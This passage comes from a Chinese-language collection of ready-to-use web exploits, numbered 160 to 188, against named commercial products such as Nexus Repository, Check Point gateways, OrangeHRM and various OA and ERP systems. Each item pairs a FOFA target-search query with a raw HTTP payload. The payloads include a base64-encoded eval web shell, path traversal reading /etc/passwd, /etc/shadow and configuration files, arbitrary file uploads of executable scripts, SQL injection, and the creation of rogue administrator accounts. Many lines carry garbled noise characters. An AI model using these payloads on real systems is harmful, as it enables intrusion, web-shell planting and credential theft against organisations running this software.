, y( D% s  j. [/ `( D+ x- r<?xml version="1.0" encoding="utf-8"?>
" s' Z2 z: a0 j+ }$ ]. Y& }3 v' D$ U<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; }- P# O; f, ^0 G# t. T" B<soap:Body>
3 H+ a$ q; p9 I: \6 Y! y<jobUpload xmlns="http://rainier">
2 t- m6 i9 u+ m1 _8 q' L9 D  {& ~<vcode>1</vcode>
8 ]9 P& m3 o$ z0 Y5 ]  r<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
" ]) p, ^9 |- r9 I<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
  x) c; _& V$ d5 f, b1 d* l/ R</jobUpload>
: N' [+ c, u% B</soap:Body>
1 E' ?3 y  e. q7 [2 i( U; p</soap:Envelope>

* f& w0 S7 o4 G/ t2 z8 q+ W" B
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
- c/ A7 `" H" s0 G
4 M" X7 m, n7 x& t
9 b' N4 p% H! D. v3 C2 ~/ W9 C160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
" V. [7 G5 z* H0 q: q4 {FOFA：title="Nexus Repository Manager"
  E# c% }8 v3 XGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
4 W2 o/ M$ b: v/ O# c- ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
% y$ D& @, E: eAccept: */*
5 f# k! a+ f5 d8 \Accept-Language: en
Accept-Encoding: gzip

! f+ Z0 @* o9 k# i6 y
( T" w* O* @9 S0 i  _' A1 J- e161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
6 W3 J- w- Q- e7 yFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
8 n: g& E/ ^! QPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' |8 R; C: S) n9 QConnection: close
% i; n& W7 {# I+ Z1 n5 ~. YContent-Length: 445
" |3 U3 }* t$ d" j4 _% `, VContent-Type: text/xml
Accept-Encoding: gzip
5 v* Q% m  K. {0 H8 S3 B/ o$ {3 _  l
* P$ f* p3 E+ L& O* Q: \<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
( N3 \$ V; t% o/ R8 j: b0 G& Yxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% [  k0 A6 h3 s0 W; j# |( b<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
+ P! v5 ~! ?9 t: c; a# m<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
( ?2 k. B$ Y$ ~5 A& T1 ^. u; U<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
3 Z! P+ p# p) G. n6 A<tag>3</tag>
</UploadResume>
+ i& ~  i% ^. @! e</soap:Body>
- L" L0 G- b$ P7 p! S8 a' P% v</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
* R/ d: x! N5 W0 G2 e
) E$ _3 h+ }3 l" t% x) f+ f6 ~162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 ?0 }# y' I/ a7 _FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
4 s7 I) M( Z# k. Q. \( P/ `7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
. c6 K; k5 U" S2 q3 J  _) E$ jConnection: close
6 E: Q, Q9 j! c! k- P# H" ~2 uContent-Length: 583
! w+ q& R2 W7 v7 D+ _8 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
) {+ c) M, G7 |% dAccept-Encoding: gzip

6 w' r- B( g3 V, \! A' u( \------WebKitFormBoundaryeegvclmyurlotuey
5 {6 P; _" \( P0 C$ X  o, ?Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
$ I5 E; `: d4 \
+ q" c! Y, X. N3 }<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
) ?- ]$ g+ E: i8 _* n+ ?: ?# G
  F/ A8 r* s% X: D8 D+ u2 xupload
2 R9 k* Z. U2 D, f8 F5 d) J------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
8 t4 s: ]* t# p2 Z) @
4 V# @& h9 {# e, A4 Z) N; `  h/ jResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
. G' J8 [6 |2 _5 a6 P------WebKitFormBoundaryeegvclmyurlotuey--
, Z4 q- F' s/ c
+ ~2 e6 H7 d; X4 b
+ }( Z* g2 Z2 i, E( Y( U- n+ p, @* _http://x.x.x.x/opt/resources/kjuhitjgk.aspx
* Q4 W  G  f) D+ q
  {. b6 ?% W) ?5 q. `7 j163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
5 c7 g+ {5 V6 D: o4 l# aFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
4 d, V$ M' I$ s1 P* s0 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
8 X9 n$ P. ?( qConnection: close
- p* i0 e( S1 a0 @Content-Length: 293
Accept: */*
# _  o& i" b/ ?4 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

/ o1 Q! a# ~% ]. ?: Q" ^9 V' R% o------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
$ Y  s* g7 M$ m  c
8 t. r' V1 y9 c8 ?1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

- l: D7 E1 y' o% c: ~rvjhvbhwwuooyiioxega
: V$ f4 r7 v$ b------iiqvnofupvhdyrcoqyuujyetjvqgocod--
* @, K; h2 r* k( W2 J8 P! v( O
+ O% q  l8 @. a) M
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
9 m4 X7 `6 H& P+ G0 h) Y6 zPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
9 d7 a! ?# Q% x( x2 ~" t( TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
) g# I1 B, @# d* }3 SContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
. J, s3 e" O7 v5 A* [" X" M, d/ YContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
" b+ J. ~! Q& @1 s) y8 KAccept-Encoding: gzip
8 j9 t. ?" q5 v6 p
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
' K3 S8 m; C4 e/ b+ U; ]* e# I" V
7 K0 g  U. Q! N1 l8 O6 v<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
8 A, q% K0 D; \$ O( t4 g8 g; I1 C------dqdaieopnozbkapjacdbdthlvtlyl--

1 M$ H1 W* F# b( I1 f# x  J* V
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

' G$ \! N( B; A2 v165. OrangeHRM 3.3.3 SQL 注入
6 |7 s' U. d% |CVE-2024-36428
  ?8 w" o3 d3 n( }9 XFOFA: app="OrangeHRM-产品"
) r" I- v/ F" U3 e4 DURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
8 I) h+ m  ^3 c; T8 k
8 k7 Q2 j7 Y2 O  {4 {; h
4 f! }4 d/ @9 H# s2 W2 d# E7 c: @166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
* A) Z7 L- z9 Z, ]Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
7 F5 |: x: W) t3 F- O$ Q, cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
4 Y- T: `7 F4 o5 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
$ l  A; k4 A) m; e) ICookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
$ w( b" ~4 x. g; W$ z9 jContent-Length: 89

* w4 {  I( W  ], u6 |, lMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

2 m8 e( i" m0 \8 z
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* t; G2 V9 [! F. F- fAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 O9 U" A$ F6 B% z( y# I
8 B/ Q8 y, Q% v* v7 O& u
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
& ~. p- B/ g7 x% RGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
! `3 U  m$ R. rContent-Type: application/x-www-form-urlencoded
$ p) D4 i2 i/ r) _( B. S9 BConnection: close

4 u* {6 m9 t$ Y8 Q" p
4 _6 y" H- A7 x7 C. Z
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
2 f/ b' d! b+ ]9 @% [, j) @GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
* X3 |) O/ w! P/ UHost: your-ip
1 o5 M4 j, n) Z- @# _& e7 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ e, `/ Q+ A+ u3 u# A2 |% c# C$ YAccept: */*
Accept-Encoding: gzip, deflate
3 }! _8 Y1 y3 E; DConnection: close
0 c4 s0 o+ s( Q5 [, V$ s6 S
4 k8 s* X0 ?- h  L+ a7 b: `

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' V" }  s8 s4 p' |: _" h/ tContent-Type: application/x-www-form-urlencoded
9 s* x- [: o* Y3 ~
7 `7 ?  [5 `; z9 g( O; x+ S( o, jfilename=../webapps/ROOT/WEB-INF/web.xml

5 E+ Z0 \6 c$ Z- ^  ?
3 A* p5 n* `( B- A/ b  d. X171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
% O. x4 g) A! XHost: your-ip
9 ]: x" y* W  I# [3 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
: I2 f' f- J1 X, b( F+ hAccept: */*
3 H& y% F* F$ ]% _3 O/ m& P3 E0 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. T' N- f0 ^4 I6 O$ u8 [Connection: close
1 m8 }3 Y7 A' y) C$ H5 @
' q- u/ W* Q1 x

) x- F1 l# I) `0 M172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
1 q0 ^2 x9 z1 R! a2 JGET /../../../../etc/passwd HTTP/1.1
: W9 v) O* X3 N- H0 }  r% r8 FHost: your-ip
8 J1 ]2 {- @+ w- H* u1 a/ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
) G: [" ^/ u) A$ P5 `; OConnection: keep-alive
6 M$ M! o( Q1 C* Y6 E) ^
$ C( I4 W! C* u

9 D+ t1 a9 A9 I! [- G8 S173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
- @2 E$ n$ N" s/ a
aCSHELL/../../../../../../../etc/shadow

/ c6 L% t3 ]! Q( W

( Y' }, m6 q) f# W, S* W0 f5 x, f174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% K) A  D5 B8 l& AFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
- m: ?8 R7 k- a) Z0 H$ d- QHost: your-ip
) l; a# Q# z' HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 l/ o2 Z% b% J/ S4 U" q+ s/ ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! U* b/ |# E' K. H/ hConnection: close
7 I% w2 D+ C% j7 Z. e; j2 s

" D5 {$ r% c/ S- ^
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 ^/ \) n  m9 x; z" k# V" j4 PFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
6 d+ W( D! k; n" Q; i4 VUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) l! a' k& O% X2 ^# b# AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

! v9 a( T' x8 `# o$ R0 j- H7 _* ]$ A
$ V- n* ?5 M: u  L+ z( g: Y$ p0 s- H176. 电信网关配置管理系统 rewrite.php 文件上传
  y+ N9 M) T! [( t* J; lFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
- p- I7 B, D/ _Host: your-ip
3 X. B5 H9 d  G; E* B. v) ^7 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 v. b2 q9 e, c0 x. NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

6 @: o$ F( e' ]9 R: c8 O7 C, k------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
% M# Z' J& t" A1 z7 Y) W' ]- R

------WebKitFormBoundaryOKldnDPT--

% x  Y9 q5 |  _! G- K7 R

5 d) p+ x* T1 o9 F* H0 x2 @# O+ `177. H3C路由器敏感信息泄露
. \0 C& P" @' k7 o: ~/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
, Z: {' B3 K) `5 C% q! _/userLogin.asp/../actionpolicy_status/../M60.cfg
* ]1 \, G8 w$ I% A/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
, d5 r0 D9 l9 h/userLogin.asp/../actionpolicy_status/../GR2200.cfg
' A' B1 M' a0 Q/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
4 A3 ^$ I$ N/ ]/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
" C) W! o( K$ `  x$ b, U# r/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
3 z& y& d9 O; M+ [# l/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
. H7 J" j7 `  M  J" [. f/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
; r2 J  Q+ s+ S6 I8 T& X9 _: F% ^/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
! R/ n2 S, B) S& d( Y' s2 i/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
2 ]. y- K) }& s1 c, x, N/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
1 g3 s, T/ e5 E# c/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
  a& f$ R1 s6 {8 g1 lFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
5 U* U8 _  v# y/ |. }Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
6 O' O8 m5 l- H% m-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
: M3 @) L! h% ^( |' [Content-Length: 255
: b: ~8 T6 |* J0 }; t5 W
7 i  T: O" m8 E. Z2 d0 d& b12234
5 n' M8 E$ ^3 m( ~" V: J7 F-----------------aqutkea7vvanpqy3rh2l--
: F& A& k6 x; F. s" l; y: n; a
% n. U3 \% U+ q5 f' M1 |. s' v
GET /imc/primepush/%2e%2e/flex/12234.txt


# e. b0 ^+ ?- X. K179. 建文工程管理系统存在任意文件读取
9 i; i  t; W) Y: T) fPOST /Common/DownLoad2.aspx HTTP/1.1
' B6 m7 X1 e$ i8 kHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

0 I7 G/ z/ }' L) U  X+ H( z
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
* y! D# a1 q* uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 V3 J) [# j2 ^! F5 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% b* ^; P' j  R9 g6 KAccept-Language: zh-CN,zh;q=0.9
, S8 }' @  c0 R: a& T( rConnection: close
/ Z* p. m' P. _" M5 s) @3 o0 z, U

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
" I. g# f- @- R: g2 T6 P% E) wPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
& ?2 A9 R( |( K" u. EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' C& t" t5 k9 z) u1 ]! D- |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ L3 G% @' p: m6 i* i6 J  I, \Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 ^- o$ R6 L* Y+ Y0 ~- JContent-Type: application/x-www-form-urlencoded

  g- D# h" `, Z$ s* {
6 ?4 u' `4 P, N( W% T7 v, daction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, X# f* t. n. L# l- p& iConnection: close
4 A& Z3 O* Z& N' n3 q# V( b3 U) q) V% a" tContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1
- H2 r8 B  o! `, G1 p4 k

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
: C9 P& |) h8 m1 |) m4 [GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
& Q( K2 F- A: q6 l- zUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& d9 {; g3 O' g, _8 \9 uAccept-Charset: utf-8
6 W7 G- h( k! n: NAccept-Encoding: gzip, deflate
9 B" U! i. j) s3 z' p4 N, c  s& |Connection: close
" `0 ~) V9 g5 q1 Q

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) |  n* k5 z% P5 c- MFOFA：server="SunFull-Webs"
0 C% ]- B1 G1 |  rPOST /soap/AddUser HTTP/1.1
" c2 q* s7 K. S+ }1 F. yHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
  L; d2 t; s4 A. SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
* ]5 L9 ~3 ^/ Q% `! ?
4 B, @$ U9 e% l/ B, u2 I
3 g/ J% }- t' ?insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

1 f& c1 K7 F7 K/ V5 t8 ?/ H$ f5 _
. J' y1 E( C2 n2 x, [185. 瑞友天翼应用虚拟化系统SQL注入
+ N4 j, u" W3 |# e3 T4 |4 \, J+ Mversion < 7.0.5.1
* i' e. T/ Q, M0 {' QFOFA：app="REALOR-天翼应用虚拟化系统"
! |  h7 f! B; s2 T* M: D- s: XGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
: }3 \/ t$ _- k! a5 z
6 \7 U+ [, K& U  T) X
' Q& Y5 P2 r6 `+ Q% m" x3 h186. F-logic DataCube3 SQL注入
CVE-2024-31750
6 ]- q3 X+ K) L' {5 o) Q% [3 n# b. yF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
( V& q& w. \; u6 o2 x$ L! J8 h% zFOFA：title=="DataCube3"
& n$ e6 g# z1 j$ T0 M7 SPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
  j1 N8 y4 D: dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 F/ ~; Y! [3 E+ }8 ^$ \5 PAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

5 }+ t8 O) A; E3 hreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

4 _: O% f/ x6 N5 K( ?# Y  {' l
187. Mura CMS processAsyncObject SQL注入
8 p; X- n+ T1 vCVE-2024-32640
+ t" p, u2 |/ i/ fFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


$ j( b3 Q" @% \object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
0 [, i5 ?; B% a5 \6 f  Xversion <= 3.9.7
5 e8 g; D! ]% z$ z: Q, w8 DFOFA：body="/system/get_rtc_user_defined_info?site_id"
( I/ J, n! U  _7 g6 \  vGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
